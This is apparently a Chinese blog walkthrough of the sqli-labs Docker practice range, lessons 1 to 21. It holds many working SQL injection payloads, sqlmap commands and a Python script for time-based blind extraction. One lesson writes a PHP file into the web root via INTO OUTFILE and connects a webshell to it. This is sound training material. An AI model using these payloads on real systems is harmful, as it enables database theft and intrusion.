sqli-labs靶场安装以及刷题记录-docker

sqli-labs靶场安装以及刷题记录-docker

  • sqli-labs靶场安装-docker
  • sqli-labs靶场刷题
    • less-1 单引号
    • less-2 数字型
    • less-3 单引号+括号
    • less-4 双引号+括号
    • less-5 单引号+布尔盲注
    • less-6 双引号+布尔盲注
    • less-7 单引号加括号、输出到文件
    • less-8 单引号+布尔盲注
    • less-9 单引号+时间盲注
    • less-10 双引号+时间盲注
    • Less-11 POST方法+单引号
    • Less-12 POST方法+双引号和括号
    • Less-13 POST方法+单引号和括号+布尔盲注
    • Less-14 POST方法+双引号+布尔盲注
    • Less-15 POST方法+时间盲注
    • Less-16 POST方法+时间盲注+双引号和括号
    • Less-17 报错注入
    • Less-18 UA注入+报错注入
    • Less-19 Referer注入
    • Less-20 Cookie注入
    • Less-21 Cookie注入+base64编码

sqli-labs靶场安装-docker

  1. 拉取xss-labs靶场

    docker pull c0ny1/sqli-labs:0.1
    
  2. 启动xss-labs靶场

    docker run --name sqlilabs -d -p 8081:80 c0ny1/sqli-labs:0.1
    
  3. 访问

    ip:8081
    

    在这里插入图片描述
    4. 首次开启靶场先点击Setup/reset Database for labs创建数据

sqli-labs靶场刷题

在这里插入图片描述

less-1 单引号

在这里插入图片描述
要求输入ID参数,在URL后面拼接

?id=1

在这里插入图片描述

尝试闭合语句,构造

?id=1' //有报错
?id=1" //正常回显

在这里插入图片描述
推断参数是被单引号包围的

?id=1' #//错误回显
?id=1' -- //错误回显
?id=1' --+//正常回显

判断返回数据数

?id=1' order by 4 --+ //在输入4时报错,所以返回数据数为3。Unknown column '4' in 'order clause'

判断回显位

?id=1' union select 1,2,3 --+//显示的id=1的查询结果
?id=1' union select 1,2,3 limit 1,1--+

在这里插入图片描述
查数据库名

?id=1' union select 1,database(),version() limit 1,1--+//security,5.5.47-0ubuntu0.14.04.1
?id=1' union select 1,group_concat(schema_name) from information_schema.schemata,1 limit 1,1--+//报错,login name返回值设置了限制?
?id=1' union select 1,1,group_concat(schema_name) from information_schema.schemata limit 1,1--+

在这里插入图片描述
查表名

?id=1' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 1,1--+

在这里插入图片描述
查列名

?id=1' union select 1,1,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='X8H7POW1CY' limit 1,1--+

在这里插入图片描述

查数据

?id=1' union select 1,1,group_concat(secret_1A0H) from challenges.X8H7POW1CY limit 1,1--+

在这里插入图片描述

less-2 数字型

在这里插入图片描述

?id=1//正常回显
?id=1 and 1=2//无回显,数字型注入
?id=1 and 1=2 --+//无回显
?id=1 and 1=1 --+//正常回显

payload

?id=1 union select 1,2,3 limit 1,1--+

sqlmap跑一下

python sqlmap.py -u "http://ip:8081/Less-2/?id=1"

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --dbs --batch

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --tables -D challenges --batch

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --columns -T BTLPG8W39R -D challenges --batch

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --dump -T BTLPG8W39R -D challenges --batch

在这里插入图片描述

less-3 单引号+括号

在这里插入图片描述

?id=1
?id=1'//有报错

在这里插入图片描述
观察报错信息构造

?id=1') --+//正常回显id=1的查询数据
?id=1')  union select 1,2,3 limit 1,1--+ //payload

可以使用less-1的方式手动查询或者sqlmap

less-4 双引号+括号

在这里插入图片描述

?id=1'//正常回显id=1的查询数据
?id=1"//有报错

"
观察报错,入参是被双引号加括号包围的,构造

?id=1") union select 1,2,3 limit 1,1 --+ //payload

less-5 单引号+布尔盲注

在这里插入图片描述

?id=1'//有报错

在这里插入图片描述
观察报错,入参是被单引号包围的

?id=1' --+//正常回显id=1的查询页面you are in........

查数据,页面没有明确的回显,只能逐个字符去查询然后判断结果是否正确(页面是否回显you are in…)

?id=1'--+//正常回显id=1的查询页面you are in........
?id=1' order by 3--+//you are in........
//这里已经没有必要去查回显位数了

参考WP
查数据库数量

?id=1' and (select count(*) from information_schema.schemata) = 5  --+

查每个数据库名称

?id=1' and (select substring(schema_name, 1,1) from information_schema.schemata limit 1,1) = 'c' --+
?id=1' and (select substring(schema_name, 2,1) from information_schema.schemata limit 1,1) = 'h' --+
?id=1' and (select substring(schema_name, 3,1) from information_schema.schemata limit 1,1) = 'a' --+
?id=1' and (select substring(schema_name, 4,1) from information_schema.schemata limit 1,1) = 'l' --+
?id=1' and (select substring(schema_name, 5,1) from information_schema.schemata limit 1,1) = 'l' --+
?id=1' and (select substring(schema_name, 6,1) from information_schema.schemata limit 1,1) = 'e' --+
?id=1' and (select substring(schema_name, 7,1) from information_schema.schemata limit 1,1) = 'n' --+
?id=1' and (select substring(schema_name, 8,1) from information_schema.schemata limit 1,1) = 'g' --+
?id=1' and (select substring(schema_name, 9,1) from information_schema.schemata limit 1,1) = 'e' --+
?id=1' and (select substring(schema_name, 10,1) from information_schema.schemata limit 1,1) = 's' --+
第二个(limit 1,1 代表从第二个数据查后面一个)数据库名称:challenges
以此类推

还有一种方法,不过只能查当前数据库名称

?id=1' and left(database(),1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
?id=1' and substr(database(),3,1)='c'--+
?id=1' and substr(database(),4,1)='u'--+
?id=1' and substr(database(),5,1)='r'--+
?id=1' and substr(database(),6,1)='i'--+
?id=1' and substr(database(),7,1)='t'--+
?id=1' and substr(database(),8,1)='y'--+
//security

之后查表名、列名等

less-6 双引号+布尔盲注

在这里插入图片描述

?id=1' // you are in......
?id=1"// 报错

在这里插入图片描述
观察报错,入参被双引号包围,构造

?id=1" --+//you are in......

接下来的操作和less-5一样

less-7 单引号加括号、输出到文件

在这里插入图片描述

?id=1"//未报错
?id=1'//报错

在这里插入图片描述
说明是单引号闭合,看不到具体的报错,WP上加了两个括号(只能猜啦

?id=1'))

导出数据到网站根目录(路径可以扫描,参考传送门

?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "/var/www/html/Less-7/users.txt"--+
?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+  

在这里插入图片描述
有报错,尝试了其他的语句还是有报错,去Docker中看了下源文件,发现已经成功写入users.txt, info.php了,蚁剑可以成功连接
在这里插入图片描述

less-8 单引号+布尔盲注

在这里插入图片描述

?id=1'//空回显

在这里插入图片描述
单引号应该是把入参语句给闭合了所以会报错,对本题而言没有正常回显就是报错,使用盲注的方法来判断

?id=1' --+//正常回显you are in......

接下来查询操作同Less-5一样(甚至payload都一样

less-9 单引号+时间盲注

在这里插入图片描述

尝试了单引号以及加括号等都是you are in......正常回显,借助sleep延时函数来判断,观察标签页左上角转的时长
在这里插入图片描述

?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5)  --+//只有这个sleep,刷新的较久
?id=1" and sleep(5) --+

if语句中使用sleep,查询数据库数量

?id=1' and if((select count(*) from information_schema.schemata)=5 ,sleep(5),1) --+

先判断每个数据库名字的长度

?id=1' and if((select length(schema_name) from information_schema.schemata limit 0,1) = 18 ,sleep(5),1) --+
?id=1' and if((select length(schema_name) from information_schema.schemata limit 1,1) = 10 ,sleep(5),1) --+
?id=1' and if((select length(schema_name) from information_schema.schemata limit 2,1) = 5 ,sleep(5),1) --+
......

查各个数据库名字

?id=1' and if( (select substring(schema_name, 1,1) from information_schema.schemata limit 1,1) = 'c' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 2,1) from information_schema.schemata limit 1,1) = 'h' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 3,1) from information_schema.schemata limit 1,1) = 'a' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 4,1) from information_schema.schemata limit 1,1) = 'l' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 5,1) from information_schema.schemata limit 1,1) = 'l' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 6,1) from information_schema.schemata limit 1,1) = 'e' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 7,1) from information_schema.schemata limit 1,1) = 'n' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 8,1) from information_schema.schemata limit 1,1) = 'g' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 9,1) from information_schema.schemata limit 1,1) = 'e' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 10,1) from information_schema.schemata limit 1,1) = 's' ,sleep(5),1) --+

这题在sqlmap上跑的还挺快
在这里插入图片描述

less-10 双引号+时间盲注

在这里插入图片描述
还是时间盲注

?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5)  --+
?id=1" and sleep(5) --+//只有这个sleep,刷新的较久

接下来的操作同Less-9

Less-11 POST方法+单引号

在这里插入图片描述
随便输一组账号和密码,有回显
在这里插入图片描述

输入Username为admin'有报错回显,可以利用,在BP上抓包修改提交值

在这里插入图片描述
修改uname为admin'--+登陆成功

uname=admin'--+&passwd=123&submit=Submit//登陆成功

在这里插入图片描述

开始查回显位数

uname=admin' order by 2--+&passwd=123&submit=Submituname=admin' union select 1,2 limit 1,1 --+&passwd=123&submit=Submit//payload

union联合查询数据库

uname=admin' union select 1,group_concat(schema_name) from information_schema.schemata limit 1,1--+&passwd=123&submit=Submit

接下来同之前的联合查询一样。
学一下Sqlmap怎么跑POST数据中的注入,将抓到的登录包保存到本地命名为login_POST

python sqlmap.py -r D:\bp\login_POST --batch
python sqlmap.py -r D:\bp\login_POST --dbs --batch
python sqlmap.py -r D:\bp\login_POST --tables -D challenges --batch
python sqlmap.py -r D:\bp\login_POST --dump -T BTLPG8W39R -D challenges --batch

Less-12 POST方法+双引号和括号

在这里插入图片描述
随便输账号密码同Less-11一样会报LOGIN ATTEMPT FAILED,去抓包改下看看

uname=admin'&passwd=123&submit=Submit//正常回显
uname=admin"&passwd=123&submit=Submit//报错了,通过报错信息知道入参是被双引号和括号包围的

在这里插入图片描述
可以构造payload了,同样可以联合查询,查询操作同Less-11

uname=admin") --+&passwd=123&submit=Submit

Less-13 POST方法+单引号和括号+布尔盲注

在这里插入图片描述
输入usernameamdin'有报错

uname=admin'&passwd=123&submit=Submit
uname=admin') --+ &passwd=123&submit=Submit //闭合语句

在这里插入图片描述

登陆成功没有回显位了,只有一个成功的界面
在这里插入图片描述
盲注,同Less-5一样的操作,先查数据库数量

uname=admin') and (select count(*) from information_schema.schemata) = 5 --+ &passwd=123&submit=Submit

之后操作参考Less-5,sqlmap同样能跑成功

Less-14 POST方法+双引号+布尔盲注

在这里插入图片描述

输入usernameamdin"有报错

uname=admin" &passwd=123&submit=Submit
uname=admin" --+ &passwd=123&submit=Submit //闭合语句,也是没有回显数据,只有登陆成功的界面

在这里插入图片描述
同上一关一样的操作,先查数据库数量

uname=admin" and (select count(*) from information_schema.schemata) = 5 --+ &passwd=123&submit=Submit

之后操作参考Less-5,sqlmap同样能跑成功

Less-15 POST方法+时间盲注

在这里插入图片描述

admin'
admin"
admin' --+
admin" --+

都是登陆失败的界面,没有任何报错信息,试试时间盲注,也是同样的界面以及回显

admin' and sleep(5) --+
admin" and sleep(5) --+
admin') and sleep(5) --+
admin") and sleep(5) --+

sqlmap跑出来了时间盲注,应该是姿势不对,又尝试了几次

admin' and sleep(5) #//这个有明显的时延,看了源码好像没有写屏蔽,注释符这里不太明白为什么--+ 不行
admin' and sleep(5) -- //--加空格也可以
  • -- 注释符在 MySQL 中需要后面跟一个空格才会生效,所以把 --+ 改为 -- 后,它成功注释掉了后面的 SQL 代码,从而使 SQL 注入得以绕过。

    • -- 注释符的规范要求后面必须有空格才能被解析为注释。
    • # 不需要空格,因此在某些情况下使用它更方便。

查数据库数量

admin' and if((select count(*) from information_schema.schemata) = 5,sleep(5),1)  # &passwd=123&submit=Submit

查数据库名字,用脚本做一下

import requests
import time# 靶场的目标URL
url = "http://ip:8081/Less-15/"  # 替换为你的目标URL
payload_list = ["admin'", ""]
# 假设最大数据库数量为10,可以根据需要调整
max_db_num = 10# 假设名称长度不会超过20
max_db_name_len = 18+1# 延时时长
delay_time = 6# POST 请求的基本数据(替换为具体的参数)
data = {"uname": "",  # SQL注入点位置"passwd": "123",  # 密码字段"submit": "Submit"
}# headers 信息,如果需要,可以设置
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"
}#执行多次请求并取平均值或中位数,以减少误差。
def measure_response_time(url, data, headers, repetitions=3):times = []for _ in range(repetitions):start_time = time.perf_counter()response = requests.post(url, data=data, headers=headers)response_time = time.perf_counter() - start_timetimes.append(response_time)# 返回中位数或者平均值,减少单次延迟造成的误差return sum(times) / len(times)  # 也可以使用 statistics.median(times)# 定义一个函数来测试数据库数量
def test_db_count():for i in range(1, max_db_num):# 构造SQL注入语句payload = f"{payload_list[0]} and if((select count(*) from information_schema.schemata) = {i},sleep({delay_time}),1) #"data['uname'] = payload# 记录请求的开始时间start_time = time.time()# 发送POST请求response = requests.post(url, data=data, headers=headers)# 计算请求的响应时间response_time = time.time() - start_time# print(response_time)# 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的数据库数量正确if response_time >= delay_time:print(f"Database count found: {i}")return ielse:print(f"Tested {i}, no delay.")def test_db_name_length(db_index):for length in range(1, max_db_name_len):# 构造SQL注入语句,获取第 db_index 个数据库的名称长度payload = f"{payload_list[0]} and if((select length(schema_name) from information_schema.schemata limit {db_index},1) = {length},sleep({delay_time}),1) #"data['username'] = payload# print(payload)# response_time = measure_response_time(url, data=data, headers=headers)# print(response_time)# 记录请求的开始时间start_time = time.perf_counter()# 发送POST请求response = requests.post(url, data=data, headers=headers)# 计算请求的响应时间response_time = time.perf_counter() - start_time# 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的长度正确if response_time >= delay_time:print(f"Database {db_index + 1} name length found: {length}")return lengthelse:print(f"Tested length {length} for database {db_index + 1}, no delay.")def test_db_name(db_index, name_length):db_name = ""for i in range(1, name_length + 1):  # 根据长度逐字符猜测for char in range(32, 127):  # ASCII 范围从 32 到 126(可见字符)# 构造SQL注入语句,获取 db_index 对应的数据库名的第 i 个字符payload = f"{payload_list[0]} and if(ascii(substr((select schema_name from information_schema.schemata limit {db_index},1),{i},1)) = {char},sleep({delay_time}),1) #"data['username'] = payload# print(payload)# 记录请求的开始时间start_time = time.time()# 发送POST请求response = requests.post(url, data=data, headers=headers)# 计算请求的响应时间response_time = time.time() - start_time# 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的字符正确if response_time >= delay_time:db_name += chr(char)print(f"Found character {chr(char)} at position {i} for database {db_index + 1}")breakprint(f"Database {db_index + 1} name: {db_name}")return db_nameif __name__ == "__main__":print("testing num of database")db_num = test_db_count()print("testing length of each database")db_lengths = []for db_index in range(db_num):length_tmp = test_db_name_length(db_index)db_lengths.append(length_tmp)print("testing name of each database")for db_index, name_length in enumerate(db_lengths):db_name = test_db_name(db_index, name_length)

Less-16 POST方法+时间盲注+双引号和括号

在这里插入图片描述

admin") and sleep(3)#

操作同Less-15

Less-17 报错注入

在这里插入图片描述
随便输一组数据
在这里插入图片描述

输入admin用户
在这里插入图片描述

感觉是POST方法和布尔盲注,没测出来,看看WP,注入点在密码框passwd,且有报错回显
在这里插入图片描述

延时和报错注入好像都可以
查数据库数量

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),1) #&submit=Submit 

查数据库名

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) #&submit=Submit 
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1) #&submit=Submit 
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) #&submit=Submit 
.......

查每个数据库中的表名

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1)),1) #&submit=Submit 

查每个列名

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='BTLPG8W39R' limit 0,1)),1) #&submit=Submit 

Less-18 UA注入+报错注入

在这里插入图片描述
这关也是看了WP,通过观察源码发现可以UA报错注入
在这里插入图片描述

可利用的SQL语句是

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

这时我们就不能像常规的报错盲注一样直接上,我们得考虑一下闭合VALUES,假如我们利用的点是$uagent,那构建格式就应该是1',1,1)#,在SQL语句中相当于

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#, '$IP', $uname)

这样就闭合了VALUES,所以我们在uagent上正确的payload应该是

1',1,updatexml(1,concat(0x5e,database()),1))#

Less-19 Referer注入

在这里插入图片描述

需要有一组账号密码成功登录会回显Referer(有些密码在Less-17被修改了)
在这里插入图片描述

在这里插入图片描述
源码中 HTTP_REFERER字段被拼接到数据库语句中,在BurpSuite中抓包这条记录,发送到Repeater,尝试在Referer字段进行注入

Referer: 1' and order by 4
Referer: 1',1) #//闭合语句

因为有报错回显,无回显数据内容,所以用报错盲注。
在这里插入图片描述

查数据库

Referer: 1' and updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a),1),1)#//显示不完整
Referer: 1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x3a),1),1)#//使用substr函数来获取剩余的内容

同理查表、列以及数据

Less-20 Cookie注入

在这里插入图片描述
登陆成功会有以下信息
在这里插入图片描述

看了源码 这关换成Cookie注入了,测试一下

Cookie: uname=admin'//有报错
Cookie: uname=admin'#//闭合了

有报错回显,可以使用联合查询

Cookie: uname=admin' order by 3#
Cookie: uname=admin' union select 1,1,databse() limit 1,1#

在这里插入图片描述

Less-21 Cookie注入+base64编码

这关也是先登录,会有Cookie,但是和上关不同的是Cookie做了Base64编码
在这里插入图片描述
测试payload

uname=admin')#//闭合语句,编码后的等号用%3D来替代
uname=YWRtaW4nKSM%3D

在这里插入图片描述

uname=admin') union select 1,1,database() limit 1,1 #
uname=YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwxLGRhdGFiYXNlKCkgbGltaXQgMSwxICM%3D

在这里插入图片描述

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引言 在跨境电商的业务场景中&#xff0c;数据采集是分析市场、了解竞争对手以及优化经营策略的重要环节。然而&#xff0c;随着越来越多企业依赖数据驱动决策&#xff0c;许多跨境电商平台为了保护自身数据&#xff0c;采取了更严格的防护措施。这些平台通过屏蔽大陆IP地址或部…

qt项目使用其他项目的ui之单继承之成员变量

第一步添加.ui文件 第二步&#xff0c;点击编译(原理&#xff1a;qt的uic会将.ui界面编译成c文件) 第三步&#xff1a;在编译后的目录下找到#include “ui_pagewidget.h” 第四步&#xff1a; #ifndef USA_H #define USA_H#include <QWidget>#include "ui_pagew…

sql高级

数据库的范式 为了建立冗余较小、结构合理的数据库&#xff0c;设计数据库时必须遵循一定的规则。在关系型数据库中这种规则就称为范式。 范式是符合某一种设计要求的总结。要想设计一个结构合理的关系型数据库&#xff0c;必须满足一定的范式。实际上&#xff0c;数据库范式…

Nest.js 实战 (十五):前后端分离项目部署的最佳实践

☘️ 前言 本项目是一个采用现代前端框架 Vue3 与后端 Node.js 框架 Nest.js 实现的前后端分离架构的应用。Vue3 提供了高性能的前端组件化解决方案&#xff0c;而 Nest.js 则利用 TypeScript 带来的类型安全和模块化优势构建了一个健壮的服务端应用。通过这种技术栈组合&…

微信小程序绘制轨迹

1、map | uni-app官网 根据官网描述&#xff1a;通过从数据库获取POI数据&#xff0c;并通过 uni-id-common 内的路线规划API&#xff0c;计算路线、距离、时间。 2、 <map style"width:100%;height:96%;" id"myMap" :scale"scale" :longi…

javaWeb项目-ssm+jsp大学生校园兼职系统功能介绍

本项目源码&#xff08;点击下方链接下载&#xff09;&#xff1a;java-ssmjsp大学生校园兼职系统实现源码(项目源码-说明文档)资源-CSDN文库 项目关键技术 开发工具&#xff1a;IDEA 、Eclipse 编程语言: Java 数据库: MySQL5.7 框架&#xff1a;ssm、Springboot 前端&#x…

C++【string类的使用】(上)

文章目录 1. 为什么要学习string类2. 标准库的string类2.1 string的构造函数&#xff08;1&#xff09;无参构造&#xff08;重点&#xff09;&#xff08;2&#xff09;用字符串初始化&#xff08;重点&#xff09;&#xff08;3&#xff09;用字符串的前n个字符初始化(4)拷贝…

前端处理返回的number类型超出16位的问题 ,在axios中统一处理

前端处理返回的number类型超出16位的问题 &#xff0c;在axios中统一处理 造成原因&#xff1a;js的number类型有个最大安全值&#xff0c;即2的53次方&#xff08;9007199254740992&#xff09;&#xff0c;超过这个值就会出现精度丢失的问题。 后端处理&#xff1a;将数字类…

MATLAB Simulink (二)高速跳频通信系统

MATLAB & Simulink &#xff08;二&#xff09;高速跳频通信系统 写在前面1 系统原理1.1 扩频通信系统理论基础1.1.1 基本原理1.1.2 扩频通信系统处理增益和干扰容限1.1.3 各种干扰模式下抗干扰性能 1.2 高速跳频通信系统理论基础1.2.1 基本原理1.2.2 物理模型 2 方案设计2…

使用docker-compose搭建redis7集群-3主3从

下面是一个用于搭建 Redis 集群的 docker-compose.yml 示例文件&#xff0c;它会启动 6 个 Redis 节点&#xff08;3 主节点 3 从节点&#xff09;来构成一个最小的 Redis 集群。 同一个容器内网通讯没问题&#xff0c;但是你要是需要暴露到外网你需要用第二个yml 内网的 v…

Leetcode 最长公共前缀

java solution class Solution {public String longestCommonPrefix(String[] strs) {if(strs null || strs.length 0) {return "";}//用第一个字符串作为模板,利用indexOf()方法匹配,由右至左逐渐缩短第一个字符串的长度String prefix strs[0];for(int i 1; i …

stm32单片机基于rt-thread 的 串行 Flash 通用驱动库 SFUD 的使用

1024程序员节&#xff5c;征文 一、sfud 通用驱动库介绍 SFUD 是一款开源的串行 SPI Flash 通用驱动库。由于现有市面的串行 Flash 种类居多&#xff0c;各个 Flash 的规格及命令存在差异&#xff0c; SFUD 就是为了解决这些 Flash 的差异现状而设计&#xff0c;能够支持不同品…

【OpenAI】第六节(语音生成与语音识别技术)从 ChatGPT 到 Whisper 的全方位指南

前言 在人工智能的浪潮中&#xff0c;语音识别技术正逐渐成为我们日常生活中不可或缺的一部分。随着 OpenAI 的 Whisper 模型的推出&#xff0c;语音转文本的过程变得前所未有的简单和高效。无论是从 YouTube 视频中提取信息&#xff0c;还是将播客内容转化为文本&#xff0c;…

K8S系列-Kubernetes网络

一、Kubernetes网络模型 ​ Kubernetes网络模型设计的一个基础原则是&#xff1a;每个Pod都拥有一个独立的IP地址&#xff0c;并假定所有Pod都在一个可以直接连通的、扁平的网络空间中&#xff0c;不管它们是否运行在同一个Node&#xff08;宿主机&#xff09;中&#xff0c;都…